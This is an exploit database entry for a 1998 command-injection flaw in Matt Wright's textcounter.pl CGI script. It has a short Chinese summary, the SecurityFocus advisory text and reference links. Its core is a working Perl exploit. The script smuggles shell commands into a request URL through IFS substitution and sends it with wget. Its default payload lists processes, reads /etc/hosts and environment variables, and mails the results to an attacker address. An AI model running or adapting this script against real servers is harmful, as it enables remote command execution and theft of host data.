https://www.exploit-db.com/exploits/20583
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199806-017

MattWright的textcounter.pl存在漏洞，远程攻击者借助shell元字符执行任意命令。

source: http://www.securityfocus.com/bid/2265/info

textcounter.pl is distributed through Matt's Scripts archive, and provides added features to httpd servers such as counters, guestbooks, and http cookie management. Due to insufficient checking of entered characters, it is possible for a remote user to input custom formatted strings into the $DOCUMENT_URI environment variable which, which when parsed can be executed as the UID of the httpd process. This makes it possible for a user with malicious intentions to execute arbitrary commands, and potentially gain access to the local host. 

#!/usr/bin/perl

$URL='http://dtp.kappa.ro/a/test.shtml';    # please _DO_ _modify_ this 
$EMAIL='[email protected],root';          # please _DO_ _modify_ this


if ($ARGV[0]) {
   $CMD=$ARGV[0];
}else{
   $CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)|mail ${EMAIL} -sanothere_one";
}

$text="${URL}/;IFS=8;${CMD};echo|";
$text =~ s/ /${IFS}/g;

#print "$textn";

system({"wget"} "wget", $text, "-O/dev/null");
system({"wget"} "wget", $text, "-O/dev/null");
#system({"lynx"} "lynx", $text); 
#system({"lynx"} "lynx", $text);     # if you don't have "wget"
                                  # you can try with "Lynx"

来源:XF
名称:http-cgi-textcounter(2052)
链接:http://xforce.iss.net/static/2052.php
来源:BUGTRAQ
名称:19980624textcounter.plSECURITYHOLE
链接:http://www.securityfocus.com/archive/1/9609
来源:BID
名称:2265
链接:http://www.securityfocus.com/bid/2265